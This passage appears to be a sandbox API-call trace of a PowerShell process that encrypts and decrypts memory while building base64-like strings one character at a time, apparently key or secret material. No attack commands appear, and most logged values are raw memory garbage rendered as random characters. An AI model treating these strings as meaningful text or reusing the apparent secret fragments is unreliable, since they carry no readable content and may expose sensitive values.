(param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘虩\ӝ꥚☠譑餍䕫⋇) returned 0x20 [0246.487] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.488] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBO銇瘧扨냆灣") returned 0x20 [0246.488] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.488] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘㒒ⴄ促 \⿞≽) returned 0x20 [0246.488] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘㒒ⴄ促 \⿞≽) returned 0x20 [0246.488] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.488] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOX銇瘧扨냆灣") returned 0x20 [0246.488] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.488] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘\鯝渠ꗋ쑧舗愅屮⋾) returned 0x20 [0246.488] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘\鯝渠ꗋ쑧舗愅屮⋾) returned 0x20 [0246.488] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.489] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXP瘧扨냆灣") returned 0x20 [0246.489] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.489] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘赈鍄㸰ꥹ鄽₀〣⼡") returned 0x20 [0246.489] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘赈鍄㸰ꥹ鄽₀〣⼡") returned 0x20 [0246.489] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.489] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPx扨냆灣") returned 0x20 [0246.489] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.489] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘恦ẙ儸\Û쮿山−) returned 0x20 [0246.489] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘恦ẙ儸\Û쮿山−) returned 0x20 [0246.489] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.490] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn냆灣") returned 0x20 [0246.490] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.490] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘螛༰룶惑\鏙꾹⋛) returned 0x20 [0246.490] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘螛༰룶惑\鏙꾹⋛) returned 0x20 [0246.490] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.490] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+灣") returned 0x20 [0246.490] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.490] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘㘬ᶬ㙖ଡ㶄幔닼ㄼ") returned 0x20 [0246.490] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘㘬ᶬ㙖ଡ㶄幔닼ㄼ") returned 0x20 [0246.490] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.491] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5") returned 0x20 [0246.491] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.491] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ") returned 0x20 [0246.491] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ") returned 0x20 [0246.491] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ") returned 0x20 [0246.492] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ") returned 0x28 [0246.492] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.492] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5S윊紘⑨㫺盝햁큱") returned 0x28 [0246.492] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.492] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ佫炖伽쟜鳣洑肜냬") returned 0x28 [0246.492] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ佫炖伽쟜鳣洑肜냬") returned 0x28 [0246.492] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.492] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SD紘⑨㫺盝햁큱") returned 0x28 [0246.492] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.493] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ鯓逼徑齒잸翽") returned 0x28 [0246.493] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ鯓逼徑齒잸翽") returned 0x28 [0246.493] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.493] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDo⑨㫺盝햁큱") returned 0x28 [0246.493] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.493] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ쉮焮셴釡嫋䐙汚") returned 0x28 [0246.493] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ쉮焮셴釡嫋䐙汚") returned 0x28 [0246.493] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.493] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoS㫺盝햁큱") returned 0x28 [0246.493] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.494] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ꺤䠿ޠ味胺\⋜) returned 0x28 [0246.494] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ꺤䠿ޠ味胺\⋜) returned 0x28 [0246.494] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.494] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoSj盝햁큱") returned 0x28 [0246.494] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.494] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ鎐⨸깾ﱜ䂎쬿∪") returned 0x28 [0246.494] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ鎐⨸깾ﱜ䂎쬿∪") returned 0x28 [0246.494] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.494] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoSjP햁큱") returned 0x28 [0246.494] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.495] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ剷ᔣ덉捽󝪉쾣ఐ") returned 0x28 [0246.495] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ剷ᔣ덉捽󝪉쾣ఐ") returned 0x28 [0246.495] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.495] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoSjP+큱") returned 0x28 [0246.495] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.495] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ偱р磱묿ꆑ頑峪") returned 0x28 [0246.495] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ偱р磱묿ꆑ頑峪") returned 0x28 [0246.495] SystemFunction041 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.495] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoSjP+t") returned 0x28 [0246.495] SystemFunction040 (in: Memory=0x5c9208c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9208c) returned 0x0 [0246.496] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫") returned 0x28 [0246.496] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫") returned 0x28 [0246.496] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫") returned 0x28 [0246.497] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫") returned 0x30 [0246.497] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0246.497] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoSjP+tJ왺蝁Ⱟח넓蹫篐") returned 0x30 [0246.497] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0246.497] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫飡뽣哑⥸莡降̦鼗") returned 0x30 [0246.497] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫飡뽣哑⥸莡降̦鼗") returned 0x30 [0246.497] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0246.497] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoSjP+tJc蝁Ⱟח넓蹫篐") returned 0x30 [0246.498] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0246.498] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫㽄赇䲳햦줕㏌ꇣ늞") returned 0x30 [0246.498] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫㽄赇䲳햦줕㏌ꇣ늞") returned 0x30 [0246.498] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0246.498] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoSjP+tJc8Ⱟח넓蹫篐") returned 0x30 [0246.498] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0246.498] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫姚㘱⃡䓡䎑쿂썳") returned 0x30 [0246.498] SysStringLen (param_1="峉ࢶ岶勂哘ି⃌靥榧奷䳳葉緊齿쒤ꡨ雋⡉﷈퐗쎵뵘據ﾟੱ麦넕삢꛲ᵊ⢌ﻯ雡踸ݬﴘ뛫姚㘱⃡䓡䎑쿂썳") returned 0x30 [0246.498] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0246.499] SysStringLen (param_1="GAr2JORDTHyidzX3MWPHWbDMBOXPxn+5SDoSjP+tJc8=ח넓蹫篐") returned 0x30 [0246.499] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0246.499] EtwEventActivityIdControl () returned 0x0 [0246.499] EtwEventActivityIdControl () returned 0x0 [0246.499] EtwEventActivityIdControl () returned 0x0 [0246.500] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.500] EtwEventActivityIdControl () returned 0x0 [0246.500] EtwEventActivityIdControl () returned 0x0 [0246.500] EtwEventActivityIdControl () returned 0x0 [0246.511] SysStringLen (param_1="") returned 0x8 [0246.511] SysStringLen (param_1="N") returned 0x8 [0246.511] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.512] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0246.512] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0246.512] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.512] SysStringLen (param_1="ND") returned 0x8 [0246.512] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.512] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0246.512] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0246.512] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.512] SysStringLen (param_1="NDZ") returned 0x8 [0246.512] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.513] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0246.513] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0246.513] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.513] SysStringLen (param_1="NDZl") returned 0x8 [0246.513] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.513] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0246.513] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0246.513] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.513] SysStringLen (param_1="NDZlO") returned 0x8 [0246.513] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.514] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0246.514] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0246.514] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.514] SysStringLen (param_1="NDZlOD") returned 0x8 [0246.514] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.514] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0246.514] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0246.514] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.514] SysStringLen (param_1="NDZlODR") returned 0x8 [0246.514] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.515] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0246.515] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0246.515] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.515] SysStringLen (param_1="NDZlODRm") returned 0x8 [0246.515] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.515] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.515] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.515] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.516] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0246.516] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.517] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0246.517] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0246.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0246.517] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.517] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0246.517] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0246.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0246.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.518] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0246.518] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0246.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0246.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.518] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0246.518] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0246.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0246.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.519] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0246.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0246.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0246.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.519] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0246.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0246.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0246.520] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.520] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0246.520] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0246.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0246.520] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.520] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0246.520] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0246.522] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.522] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0246.522] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0246.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0246.522] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.522] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0246.522] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0246.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0246.523] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0246.523] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.523] SysStringLen 